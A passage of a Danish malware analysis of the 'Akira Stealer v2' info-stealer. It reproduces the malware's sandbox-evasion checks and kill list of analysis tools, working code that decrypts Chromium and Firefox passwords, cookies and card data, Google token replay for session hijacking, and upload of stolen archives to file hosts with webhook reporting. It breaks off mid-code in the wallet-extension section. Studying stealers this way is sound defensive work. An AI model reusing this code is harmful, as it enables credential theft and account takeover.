        "wmic path win32_VideoController get name",
        capture_output=True, shell=True).stdout.decode().splitlines()
    gpucheck = any(x in gpu_out[2].lower()
                   for x in ("virtualbox", "vmware"))
    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck

Tjekkene på hardwareniveau er særligt effektive mod analyseopsætninger, der måske ikke helt maskerer virtualiserede skærmadaptere.

7.3.11 Task-killing – at undertrykke analyseværktøjer i realtid

Akira nøjes ikke med passivt at undgå detektion, den går et skridt videre og afslutter aktivt kendte analyse- og debugværktøjer. Den starter en baggrundstråd, der gennemløber en liste af processer og dræber hvert match, den finder.

@staticmethod
def killTasks() -> None:
    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)

BLACKLISTED_TASKS = (
  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',
  # ... dozens more ...
  'glasswire','requestly'
)

Værktøjerne, som incident responders og malwareanalytikere ofte bruger, neutraliseres, før de kan indsamle meningsfulde adfærdsartefakter.

Sammenfatning

Akira bruger et avanceret arsenal af anti-analyseteknikker rettet mod flere systemlag, fra miljøvariabler og registry-nøgler til netværkssonderinger og processlister. Mekanismerne er bygget til at opdage og omgå både automatiserede sandkasser og manuelle inspektionsopsætninger.

Kombinationen af passivt fingeraftryk og aktiv undertrykkelse, for eksempel task killing, viser, hvordan selv malwarefamilier i mellemklassen nu indbygger omgåelseslogik i flere lag.

7.3.12 Komplette blacklists og detektionsfunktioner

Blacklistede hardware-UUID'er

BLACKLISTED_UUIDS = (
    '7AB5C494-39F5-4941-9163-47F54D6D5016',
    '032E02B4-0499-05C3-0806-3C0700080009',
    '03DE0294-0480-05DE-1A06-350700080009',
    '11111111-2222-3333-4444-555555555555',
    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',
    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
    '4C4C4544-0050-3710-8058-CAC04F59344A',
    '00000000-0000-0000-0000-AC1F6BD04972',
    '00000000-0000-0000-0000-000000000000',
    '5BD24D56-789F-8468-7CDC-CAA7222CC121',
    '49434D53-0200-9065-2500-65902500E439',
    '49434D53-0200-9036-2500-36902500F022',
    '777D84B3-88D1-451C-93E4-D235177420A7',
    '49434D53-0200-9036-2500-369025000C65',
    'B1112042-52E8-E25B-3655-6A4F54155DBF',
    '00000000-0000-0000-0000-AC1F6BD048FE',
    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',
    'A15A930C-8251-9645-AF63-E45AD728C20C',
    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
    'C7D23342-A5D4-68A1-59AC-CF40F735B363',
    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',
    '44B94D56-65AB-DC02-86A0-98143A7423BF',
    '6608003F-ECE4-494E-B07E-1C4615D1D93C',
    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
    '49434D53-0200-9036-2500-369025003AF0',
    '8B4E8278-525C-7343-B825-280AEBCD3BCB',
    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',
    '79AF5279-16CF-4094-9758-F88A616D81B4',
    'FE822042-A70C-D08B-F1D1-C207055A488F',
    '76122042-C286-FA81-F0A8-514CC507B250',
    '481E2042-A1AF-D390-CE06-A8F783B1E76A',
    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',
    '9961A120-E691-4FFE-B67B-F0E4115D5919'
)

Blacklistede computernavne

BLACKLISTED_COMPUTERNAMES = (
    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',
    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',
    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',
    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',
    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',
    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',
    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',
    'desktop-vkeons4', 'NTT-EFF-2W11WSS'
)

Blacklistede brugerkonti

BLACKLISTED_USERS = (
    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',
    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',
    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',
    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',
    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'
)

Blacklistede processer for analyseværktøjer

BLACKLISTED_TASKS = (
    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',
    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',
    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',
    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',
    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',
    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',
    'discordtokenprotector', 'glasswire', 'requestly'
)

De centrale detektionsmetoder

@staticmethod
def checkUUID() -> bool:
    """WMIC hardware UUID against known VM IDs."""
    try:
        raw = subprocess.run(
            "wmic csproduct get uuid",
            shell=True, capture_output=True
        ).stdout.splitlines()[2].decode(errors='ignore').strip()
    except:
        raw = ""
    return raw in VmProtect.BLACKLISTED_UUIDS

@staticmethod
def checkComputerName() -> bool:
    """ENV %COMPUTERNAME% in VM name list."""
    return os.getenv("computername", "").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES

@staticmethod
def checkUsers() -> bool:
    """Current login username in VM users list."""
    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS

@staticmethod
def checkHosting() -> bool:
    """Query ip-api.com/hosting → 'true' indicates cloud VM."""
    http = PoolManager(cert_reqs="CERT_NONE")
    try:
        return http.request(
            'GET', 'http://ip-api.com/line/?fields=hosting'
        ).data.decode().strip() == 'true'
    except:
        return False

@staticmethod
def checkHTTPSimulation() -> bool:
    """
    Attempt TLS to random subdomain.
    Failure → possible HTTPS interception/sandbox.
    """
    http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
    try:
        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
        return True
    except:
        return False

@staticmethod
def checkRegistry() -> bool:
    """
    Look for VirtualBox/VMware in:
    - Registry driver entries
    - Video card name via WMIC
    - Presence of VM-specific folders
    """
    r1 = subprocess.run(
        "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
        "\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2",
        shell=True, capture_output=True
    )
    r2 = subprocess.run(
        "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class"
        "\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2",
        shell=True, capture_output=True
    )
    gpu = any(
        x.lower() in subprocess.run(
            "wmic path win32_VideoController get name",
            shell=True, capture_output=True
        ).stdout.decode().splitlines()[2].lower()
        for x in ("virtualbox", "vmware")
    )
    dirs = any(os.path.isdir(d) for d in ('D:\\Tools','D:\\OS2','D:\\NT3X'))
    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs

@staticmethod
def killTasks() -> None:
    """Continuously terminate known analysis processes."""
    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)

7.3.13 Eksekverings- og afbrydelseslogik

  1. Initialisering: Inde i konstruktøren Akira.__init__() kalder malwaren omgående VmProtect.isVM(1) for at gennemføre hurtige virtualiseringstjek med lav overhead, for eksempel hostname, bruger og HTTPS-simulering.
  2. Dybdegående inspektion: Passerer den første test, kalder den VmProtect.isVM(2), hvilket udløser mere omfattende tjek, herunder validering af hardware-UUID, hosting-detektion via ip-api.com og scanning af registry-artefakter.
  3. Afbrydelsesvejen: Returnerer et af tjekkene True, hvilket peger på et virtuelt miljø eller analysemiljø, kører koden sys.exit() og afslutter eksekveringen, før nogen rutiner til dataindsamling eller eksfiltrering går i gang.

7.3.14 Konklusion

Modulet VmProtect i Akira Stealer v2 demonstrerer et lagdelt forsvar mod analyse, der udnytter både lokale systemfingeraftryk og netværksbaserede heuristikker. Ved at forstå og instrumentere netop disse tjek kan forsvarere vende situationen og opdage den slags undvigende malware i produktionsmiljøer.

7.4 Eksfiltrering af browserdata

Et af kerneformålene med Akira Stealer v2 er storstilet udtræk af følsomme data, browseren har gemt. Malwaren implementerer skræddersyede moduler rettet mod både Chromium-baserede og Gecko-baserede (Firefox) browsere. Den kan udtrække og dekryptere gemte adgangskoder, cookies, kreditkortdata, autofyld-poster og endda sessionstokens, der kan bruges til at kapre konti helt.

1. Opsætning af arbejdsområdet

client_dir = Utils.get_temp_folder()  # e.g., C:\Windows\Temp\DESKTOP-1234
os.makedirs(client_dir, exist_ok=True)
for sub in ("Passwords","Cookies","CreditCards","History","Autofill","Wallets"):
    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)
  • Opretter et engangsområde til staging under systemets temp-mappe, navngivet efter offerets maskine (%TEMP%\DESKTOP-), så alle eksfiltrerede artefakter samles på et sted, der let kan arkiveres.
  • Isolerer data efter type: seks dedikerede undermapper (Passwords, Cookies, CreditCards, History, Autofill, Wallets) forhindrer navnesammenstød og gør den senere zipning enklere, for hver udtræksrutine skriver kun i sin egen mappe.
  • Idempotent oprettelse af mapper bruger exist_ok=True, så hvis malwaren kører igen, for eksempel ved genstart eller via persistens, crasher den ikke og overskriver ikke eksisterende data. Nye elementer føjes blot til den samme struktur.
  • Muliggør selektiv oprydning: når upload og notifikation er gennemført, kan stealeren kalde Utils.clear_client_folder() for rekursivt at slette udelukkende sit eget arbejdsområde, uden at efterlade filer.
  • Baner vejen for parallelle udtrækstråde: fordi alle mål er oprettet på forhånd, kan baggrundstråde, der høster loginoplysninger fra browsere, cookies, autofyld, data fra kryptowallets og så videre, skrive resultater med det samme uden yderligere tjek. Det mindsker overhead og indsnævrer det vindue, hvor defensive hooks kan opdage uventet fil-I/O.

2. Understøttede browsere

  • Chromium-baserede
    • Google Chrome (Stable & SxS)
    • Microsoft Edge
    • Brave Browser
    • Opera & Opera GX
    • Chromium
    • Comodo Dragon
    • Epic Privacy Browser
    • Iridium Browser
    • UR Browser
    • Vivaldi Browser
    • Yandex Browser
    • Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran
  • Firefox-baserede (via GeckoDriver)
    • Mozilla Firefox
    • Waterfox
    • Pale Moon

    Akira finder dynamisk brugerprofilerne ved hjælp af miljøvariabler og velkendte mappestrukturer:
    user_path = os.path.join(os.getenv("LOCALAPPDATA"), "Google", "Chrome", "User Data")
    

    Den gennemgår rekursivt de tilgængelige browserprofiler (for eksempel Default, Profile 1 osv.) og går efter SQLite-databaserne i de stier.

7.4.1 Udtrukne datatyper

Datatype Kildefil Bemærkninger
Gemte adgangskoder Login Data (Chromium) Dekrypteres via DPAPI eller AES-GCM (efter Chromium v80)
Cookies Cookies Kan indeholde sessionstokens, især til Google- og Facebook-konti
Autofyld-data Web Data Adresser, e-mailadresser, telefonnumre og lignende
Kreditkort Web Data Krypteret, kræver masternøglen
Sessionstokens I hukommelsen og cookies Omfatter Gmail, Google-konti og replay af Discord OAUTH
Historik og URL'er History, Visited Links Blev også eksfiltreret til angriberen

3. Udtræksmodulerne Når malwareforfattere går efter browsere, er deres største skattekister de forskellige SQLite-databaser, hvor Chrome, Firefox og deres slægtninge gemmer loginoplysninger, cookies, historik og autofyld-poster. astor.py sætter letvægts-Python og native API'er sammen til metodisk at plukke hver enkelt bid data, og endda til at replaye levende OAuth-sessioner, uden at efterlade spor. Nedenfor følger en dybdegående gennemgang modul for modul, ordret fra koden.

7.4.2 Adgangskodedumper (Chromium.GetPasswords)

Modulet gennemsøger systematisk alle Chromium-baserede browserprofiler for at udtrække gemte loginoplysninger. Den går efter SQLite-databasen Login Data, henter brugernavne og krypterede adgangskoder og bruger derefter platformens krypteringsnøgle, hentet via DPAPI eller AES-GCM, til at dekryptere dem til klartekst. De loginoplysninger er meget værdifulde til at bevæge sig videre efter en kompromittering eller til at overtage konti.

for root, _, files in os.walk(self.BrowserPath):
    for file in files:
        if file.lower() == "login data":
            # Copy DB → open → extract rows
            results = cursor.execute(
                "SELECT origin_url, username_value, password_value FROM logins"
            ).fetchall()
            for url, user, pwd_blob in results:
                clear_pwd = self.Decrypt(pwd_blob, encryptionKey)
                passwords.append((url, user, clear_pwd))
  • Finder hver Login Data-SQLite-database under browserens User Data-mappe.
  • Kopierer til en midlertidig fil for at undgå låse fra browseren.
  • SQL-forespørgsel: SELECT origin_url, username_value, password_value FROM logins.
  • Dekrypterer hver password_value-blob via AES-GCM (v10/v11) eller med Windows DPAPI som fallback.
  • Skriver resultatet til Passwords/<BrowserName> Passwords.txt.

7.4.3 Kreditkortdumper (Chromium.GetCreditCards)

Her henter stealeren gemte kreditkortdata fra hver browserprofils Web Data-fil. Den koncentrerer sig om at udtrække udløbsoplysninger og krypterede kortnumre, som derefter dekrypteres med den samme logik som adgangskoderne. CVV-koder gemmes typisk ikke, men de genfundne oplysninger kan alligevel misbruges til card-not-present-svindel.

results = cursor.execute(
    "SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards"
).fetchall()
for month, year, enc_cc in results:
    cc_number = self.Decrypt(enc_cc, encryptionKey)
    ccs.append((cc_number, month, year))
  • Går efter SQLite-lagrene i Web Data under hver profil.
  • SQL-forespørgsel: SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards.
  • Dekrypterer card_number_encrypted præcis som adgangskodeblobbene.
  • Skriver resultatet til CreditCards/<BrowserName> CreditCards.txt.

7.4.4 Cookiedumper (Chromium.GetCookies)

Cookies, og især sessionscookies, er førstevalget, når konti skal kapres uden adgangskoder. Modulet dumper alle cookiefiler på tværs af profiler, dekrypterer dem og samler væsentlige metadata som domæne, navn og udløbstid. Sammen med fingerprinting kan cookies af den type bane vejen for replay-angreb mod autentificerede tjenester uden videre modstand.

results = cursor.execute(
    "SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies"
).fetchall()
for host, name, path, blob, expiry in results:
    cookie_val = self.Decrypt(blob, encryptionKey)
    cookies.append((host, name, path, cookie_val, expiry))
  • Scanner hver Cookies-SQLite-database.
  • Vælger host_key, name, path, encrypted_value, expires_utc.
  • Dekrypterer hver encrypted_value-blob for at afsløre den faktiske cookiestreng.
  • Gemmer i Cookies/<BrowserName> Cookies.txt.

7.4.5 Google-sessionsdumper (Chromium.dump_google_sessions)

Rutinen er en af de mere avancerede komponenter. Den dekrypterer gemte OAuth-tokens fra tabellen token_service. Ved at replaye dem via Googles multilogin-endpoint kan malwaren genskabe aktive sessionscookies, og det giver angribere mulighed for at kapre Google-konti uden loginoplysninger. Det illustrerer, hvordan adgangstokens er blevet et af de mest attraktive mål i moderne stealere.

cursor.execute("SELECT service, encrypted_token FROM token_service")
for service, blob in cursor.fetchall():
    iv = blob[3:15]
    ciphertext = blob[15:-16]
    cipher = AES.new(secret_key, AES.MODE_GCM, iv)
    token = cipher.decrypt(ciphertext).decode()
    # Replays via POST to OAuth endpoint
    response = requests.post(
        "https://accounts.google.com/oauth/multilogin",
        headers={"Authorization": f"MultiBearer {token}:{service_id}"},
        data={"source": "com.google.Drive"}
    )
    save each account’s cookies to file
  • Henter service og den rå encrypted_token fra kopien af Web Data.
  • AES-GCM-dekryptering med browserens Local State-nøgle.
  • Replayer de dekrypterede tokens i en POST-forespørgsel til Googles multilogin-API for at genskabe gyldige OAuth-cookies.
  • Skriver sessionsfiler pr. konto under Cookies/<display_email> Google Session.txt.

7.4.6 Historikdumper (Chromium.GetHistory)

Funktionen udtrækker poster fra browserhistorikken, herunder URL, titel og besøgsfrekvens. Ud over indgrebet i privatlivet hjælper de data angribere med at forstå offerets adfærd, udpege mål med høj værdi, for eksempel bankportaler, eller skræddersy payloads til social engineering.

results = cursor.execute(
    "SELECT url, title, visit_count, last_visit_time FROM urls"
).fetchall()
history.sort(key=lambda x: x[3], reverse=True)
return [(url, title, count) for url, title, count, _ in history]
  • Vælger url, title, visit_count, last_visit_time fra hver History-database.
  • Sorterer posterne efter last_visit_time i faldende rækkefølge.
  • Skriver History/<BrowserName> History.txt.

7.4.7 Autofyld-dumper (Chromium.GetAutofills)

Autofyld-poster som adresser, navne, e-mailadresser og af og til betalingsrelaterede data skrabes ud af browserens Web Data-lager. Hver for sig virker værdierne ikke kritiske, men lagt sammen giver de en fyldig profil af offerets identitet og adfærd.

results = cursor.execute(
    "SELECT name, value FROM autofill"
).fetchall()
for field, value in results:
    autofills.append((field.strip(), value.strip()))
  • Henter formularposter: name, value fra filen web data.
  • Skriver dem ud som Autofill/<BrowserName> Autofill.txt.

7.4.8 Firefox-profilindsamler (GeckoDriver & grabFirefoxProfiles)

Til forskel fra de finkornede Chromium-rutiner vælger funktionen en bred tilgang: den komprimerer hele Firefox-profilmappen, inklusive gemte logins, cookies og bogmærker, og eksfiltrerer den i sin helhed. Det sikrer, at angribere kan analysere eller udtrække data offline og omgå forhindringerne ved dekryptering med kendt NSS-værktøj.

with zipfile.ZipFile(zip_path, 'w') as zipf:
    for root, dirs, files in os.walk(source_path):
        zipf.write(each file)
# Upload via GoFile/File.io, then POST via attacker webhooks
  • Zipper hele mappen %APPDATA%\Mozilla\Firefox\Profiles.
  • Navngiver den %TEMP%\<ComputerName>_Firefox_profiles.zip og sender downloadlinket over de samme webhook-kanaler.
  • Kalder desuden de samme SQLite-baserede udtræksfunktioner (logins.json, cookies.sqlite, places.sqlite) mod hver Firefox-profil, med de NSS-dekrypteringsrutiner der allerede findes.

7.4.9 Sammenfatning af udtrækket

Astor.py orkestrerer en gennemgribende kompromittering af browseren ved systematisk at høste hver enkelt loginoplysning og sessionsartefakt på tværs af Chromium-baserede klienter og Firefox. Den finder og kopierer sikkert hvert SQLite-lager, altså Login Data, Web Data, Cookies, History og autofill, og kører derefter målrettede SQL-forespørgsler for at udtrække URL'er, brugernavne, adgangskoder, kreditkortoplysninger, cookies, browserhistorik og formularposter. Adgangskoder og betalingsdata dekrypteres via AES-GCM eller med Windows DPAPI som fallback, mens cookies pakkes ud på samme måde for at afsløre deres klartekstværdier. For Google-konti dekrypteres krypterede OAuth-tokens fra token_service og replayes mod multilogin-API'et for at genskabe levende sessionscookies. Til sidst arkiveres Firefox-profiler i deres helhed (inklusive logins.json, cookies.sqlite og places.sqlite) og leveres som ZIP-filer, så ingen artefakt bliver efterladt. Hele denne kæde kører lydløst under %TEMP%\<ComputerName> og producerer pænt organiserede outputfiler for hver datakategori.

7.5 Dekrypteringslogikken

Moderne browsere som Chrome og Edge krypterer følsomme data, for eksempel adgangskoder, cookies og kreditkortoplysninger, før de gemmes lokalt. Akira har indbyggede dekrypteringsrutiner, der er skræddersyet til at håndtere både ældre og nuværende Chromium-krypteringsmetoder. Det sikrer, at den kan udtrække klartekstdata uanset systemets patchniveau eller browserversion.

Kernen i processen er udtrækket og dekrypteringen af browserens masterkrypteringsnøgle, der ligger i en fil kaldet Local State. Afhængigt af browserversion og Windows-build vælger Akira dynamisk den rigtige dekrypteringsmetode:

DPAPI (Data Protection API) bruges på ældre systemer, hvor Chrome gemmer hemmeligheder beskyttet af den aktuelle brugers Windows-loginoplysninger.

AES-GCM bruges i moderne Chromium-builds, hvor en tilfældigt genereret masternøgle selv er krypteret med DPAPI og derefter bruges til kryptering af brugerdata inde i appen.

Ved først at dekryptere masternøglen i Local State får Akira mulighed for at låse alle browserens hemmeligheder op, og det baner vejen for udtræk af loginoplysninger, tokens, cookies og mere.

Udtræk af nøglen

local_state_path = os.path.join(user_path, "Local State")
with open(local_state_path, "r", encoding="utf-8") as f:
    local_state = json.load(f)
master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])

Dekryptering (AES-GCM):

nonce = value[3:15]
ciphertext = value[15:-16]
tag = value[-16:]
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)

Er der behov for at falde tilbage på DPAPI, hvilket sker på ældre systemer, bruges win32crypt.CryptUnprotectData().

Forklaring af decrypt_password_blob: Funktionen viser, hvordan Akira Stealer dekrypterer hver gemt adgangskodeværdi fra Chromium-baserede browsere. Den håndterer to tilfælde:

  1. Windows DPAPI-blobs (ældre eller ikke-GCM-krypterede data): Falder tilbage på systemkaldet CryptUnprotectData, der bruger brugerens Windows-loginoplysninger til at dekryptere.
  2. AES-GCM-krypterede blobs (Chrome v10/v11-format): Læser versionsheaderen, udtrækker IV og autentificeringstag og bruger biblioteket cryptography til at dekryptere payloaden sikkert.
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend


def decrypt_password_blob(buffer: bytes, key: bytes) -> str:
    """
    Decrypts a Chrome password blob using either DPAPI or AES-GCM.

    Parameters:
    - buffer: raw encrypted blob from the `password_value` field
    - key: the master AES key retrieved via DPAPI from Local State

    Returns:
    - Decrypted UTF-8 plaintext password
    """
    # 1) DPAPI fallback for non-AES-GCM blobs
    if not buffer.startswith((b'v10', b'v11')):
        # Uses Windows CryptUnprotectData under the hood
        return CryptUnprotectData(buffer)

    # 2) AES-GCM decryption for Chrome v10/v11 format:
    # Bytes layout:
    # [0:3]    = version header ('v10'/'v11')
    # [3:15]   = initialization vector (IV)
    # [15:-16] = ciphertext payload
    # [-16:]   = GCM authentication tag
    iv = buffer[3:15]
    ciphertext = buffer[15:-16]
    tag = buffer[-16:]

    # Initialize AES-GCM cipher with extracted IV and tag
    cipher = Cipher(
        algorithms.AES(key),
        modes.GCM(iv, tag),
        backend=default_backend()
    )
    decryptor = cipher.decryptor()

    # Perform decryption; raises if authentication fails
    plaintext = decryptor.update(ciphertext) + decryptor.finalize()

    # Decode to UTF-8, ignoring any stray errors
    return plaintext.decode('utf-8', errors='ignore')

7.6 Kapring af sessionstokens

Akira stopper ikke ved passiv dataindsamling, den kaprer aktivt levende sessionstokens for at udgive sig for offeret i realtid. Efter at have udtrukket krypterede tokens fra browserens lager opbygger den den nødvendige autorisationsheader igen og replayer en MultiLogin-forespørgsel mod Googles OAuth-endpoint. Kodeudsnittet nedenfor illustrerer processen:

# Build SAPISIDHASH header for Google services
origin = "https://accounts.google.com"
timestamp = int(time.time())
# Compute SHA1 of "timestamp origin SAPISID"
payload = f"{timestamp} {origin} {sap_id_cookie}".encode()
signature = hashlib.sha1(payload).hexdigest()
headers = {
    "Authorization": f"SAPISIDHASH {timestamp}_{signature}",
    "Content-Type": "application/json"
}
# Replay MultiLogin to fetch valid session cookies
response = requests.post(
    "https://accounts.google.com/accounts/multilogin",
    headers=headers,
    json={"continue": "https://mail.google.com"}
)
if response.status_code == 200:
    # Victim’s cookies now present in response.cookies
    hijacked_cookies = response.cookies

Ved at replaye forespørgslen kan Akira udgive sig for brugerens Gmail, Drive eller enhver anden Google-tjeneste, der er beskyttet af en gyldig session, helt uden loginoplysninger. Teknikken udnytter Googles egen logik for at acceptere tokens, og det gør den næsten umulig at skelne fra legitim klientadfærd.

7.7 Firefox-dekryptering

Gecko-baserede browsere som Firefox krypterer gemte loginoplysninger og cookies med en masternøgle, der ligger i key4.db. Akira rummer en afklædt dekrypteringsrutine, der spejler Mozillas NSS-logik og håndterer både 3DES- og AES-CBC-varianter uden at udløse prompten om masteradgangskoden. Eksempel på brug:

# Load global Salt and encrypted item from key4.db
db = sqlite3.connect(profile_path + "/key4.db")
cursor = db.cursor()
cursor.execute("SELECT item1, item2 FROM metadata WHERE id = 'password'")
global_salt, item2 = cursor.fetchone()

# Decode DER structure and derive key
decoded, _ = der_decode(item2)
entry_salt = decoded[0][1][0].asOctets()
cipher_text = decoded[1].asOctets()
# Derive 3DES key
key = derive_3des_key(global_salt, master_password, entry_salt)
iv = decoded[0][1][1].asOctets()
# Decrypt credentials
cipher = DES3.new(key, DES3.MODE_CBC, iv)
clear_password = unpad(cipher.decrypt(cipher_text))

print("Decrypted Firefox password:", clear_password)

Med rutinen kan Akira uden videre dumpe logins.json, cookies.sqlite og places.sqlite for hver Firefox-profil og skrive det dekrypterede output til:

Passwords/Firefox_<ProfileName> Passwords.txt
Cookies/Firefox_<ProfileName> Cookies.txt
History/Firefox_<ProfileName> History.txt

Fremgangsmåden går rundt om kontrollen af masteradgangskoden på brugerniveau og giver stealeren uhindret adgang til alle gemte loginoplysninger.*

4. Filstruktur og navngivning

<ComputerName>.zip
└── <ComputerName>\
    ├── Passwords\
    │   ├── Chrome Passwords.txt
    │   ├── Edge Passwords.txt
    │   └── …
    ├── Cookies\
    │   ├── Chrome Cookies.txt
    │   ├── Edge Cookies.txt
    │   ├── user@example.com Google Session.txt
    │   └── …
    ├── CreditCards\
    │   ├── Chrome CreditCards.txt
    │   └── …
    ├── History\
    │   ├── Chrome History.txt
    │   └── …
    ├── Autofill\
    │   ├── Chrome Autofill.txt
    │   └── …
    └── Wallets\
        ├── Firefox_Default_profiles.zip
        ├── Firefox_Profile1_profiles.zip
        └── …
  • Hver .txt-fil begynder med en fast header (<================[Akira Stealer v2]>================>) og en skillelinje (====…====).
  • ZIP-filen på disken: %TEMP%\<ComputerName>.zip.
  • Filnavnsetiketten til C&C: Akira-<username>.zip.

5. Eksfiltrering og oprydning

url = Webhook.uploadToGofile(zip_path)
if not url:
    url = Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
Webhook.sendDataTG(zip_path, chatId, startup)
Utils.clear_client_folder()
  • Den primære kanal (GoFile.io): Malwaren forsøger først at uploade ZIP-arkivet med alle de stjålne artefakter til GoFile.io og læser JSON-svaret for at finde en downloadPage-URL, der giver angriberen direkte adgang til arkivet.
  • Automatiske fallbacks: Skulle GoFile-endpointet fejle, for eksempel på grund af timeout i netværket eller rate limiting, falder koden uden videre tilbage på file.io, og returnerer den også et tomt link, til sidst på oshi.at. Begge alternativer kaldes uden at kaste exceptions, så en af de tre tjenester altid bliver forsøgt i rækkefølge.
  • Rapportering via webhook: Når en URL er fastlagt, eller en tom streng ved vedvarende fejl, kaldes Webhook.sendDataTG(...), der pakker downloadlinket, maskinidentifikatorerne (chatId, flaget startup) og alle kategoritællinger (adgangskoder, cookies, autofyld, wallets) sammen i én enkelt Discord- eller Telegram-besked.
  • Øjeblikkelig oprydning: Efter rapporteringen sletter Utils.clear_client_folder() rekursivt hele det midlertidige arbejdsområde og selve ZIP-filen, så der ikke efterlades spor af de høstede data eller arkivet på disken.

Robusthed over for fejl:

  • Alle uploadrutiner returnerer "" ved fejl i stedet for at kaste en exception, hvilket garanterer, at kodeflowet fortsætter.
  • Selv hvis ingen af tjenesterne kan nås, sender malwaren stadig en webhook-rapport, om end med et manglende link, før de lokale artefakter slettes. Det minimerer de forensiske rester, medmindre processen crasher uventet.

6. Robusthed og fejlhåndtering

  • Finkornet håndtering af exceptions: Hver interaktion med filsystemet, om det er shutil.copy, SQLite-forespørgsler eller ZIP-operationer, er pakket ind i try/except-blokke. Opstår der en fejl, for eksempel en låst database, nægtet adgang eller en beskadiget post, fanges exceptionen og logges via Akira.logErrorTg(), og kørslen fortsætter. Det isolerer fejlen til netop den fil eller det modul.
  • Trådisolering pr. browser: Udtræksrutinerne for hver understøttet browser kører i deres egen tråd. Det flertrådede design sikrer, at et crash eller et deadlock i én browsers udtræk, for eksempel en beskadiget profil eller en manglende nøgle, ikke standser eller forsinker analysen af de øvrige browsere.
  • Lydløse fallbacks og standardværdier: Mange hjælperutiner, for eksempel upload til alternative filværter, tjek af eksterne ressourcer eller start af underprocesser, bruger indlejrede try/except-blokke uden synlige advarsler, og det maksimerer stealth. Standardværdierne, tomme strenge og booleans, er valgt for at holde flowet uforstyrret og fjerne åbenlyse fejltilstande.
  • Mutex og beskyttelse ved opstart: En navngiven mutex (1qsMlseJplTlArIF14f) forhindrer flere instanser, mens registry-tjek og Utils.CreateMutex() beskytter mod samtidige kørsler og giver ekstra stabilitet i praktisk brug.

7.8 Eksfiltrering af wallets og tokens

I denne fase gennemfører Akira Stealer v2 sin mest omfattende gennemsøgning efter kryptovaluta-loginoplysninger og sessionstokens, og den dækker browserudvidelser, desktop-wallets, tokens fra beskedtjenester og keylogging i realtid. Den kører i parallelle tråde, så ingen vektor bliver overset. Nedenfor følger en dybdegående gennemgang trin for trin med kodeeksempler.

7.8.1 Wallets som browserudvidelser

Mål: Over 80 udvidelser i udbredte browsere, heriblandt MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Solflare, Exodus, Binance Chain Wallet, Keplr, Nami, TronLink, Rabby, Talisman og flere.

# Hardcoded list of extension IDs and human-friendly names
walletsExtensions = [
    ["MetaMask",        "nkbihfbeogaeaoehlefnkodbefgpgknn"],
    ["Phantom",         "bfnaelmomeimhlpmgjnjophhpkkoljpa"],
    ["TrustWallet",     "egjidjbpglichdcondbcbdnbeeppgdph"],
    ["CoinbaseWallet",  "hfhmhopkfngkjcalldmaepmpilmjjemb"],
    ["Solflare",        "bhhhlbepdkbapadjdnnojkbgioiodbic"],
    ["BinanceChain",    "fhbohimaelbohpjbbldcngcnapndodjp"],
    ["Keplr",           "dmkamcknogkgcdfhhbddcghachkejeap"],
    ["Nami",            "lpfcbjknijpeeillifnkikgncikgfhdo"],
    ["Talisman",        "fijngjgcjhjmmpcmkeiomlglpeiijkld"],
    ["TronLink",        "ibnejdfjmmkpcnlpebklmnkoeoihofec"],
    # ... plus dozens more mapped in code
]
# Extraction loop for each browser profile
for browser_name, (user_data, proc_name) in paths.items():
    base = os.path.join(user_data, "Default", "Local Extension Settings")
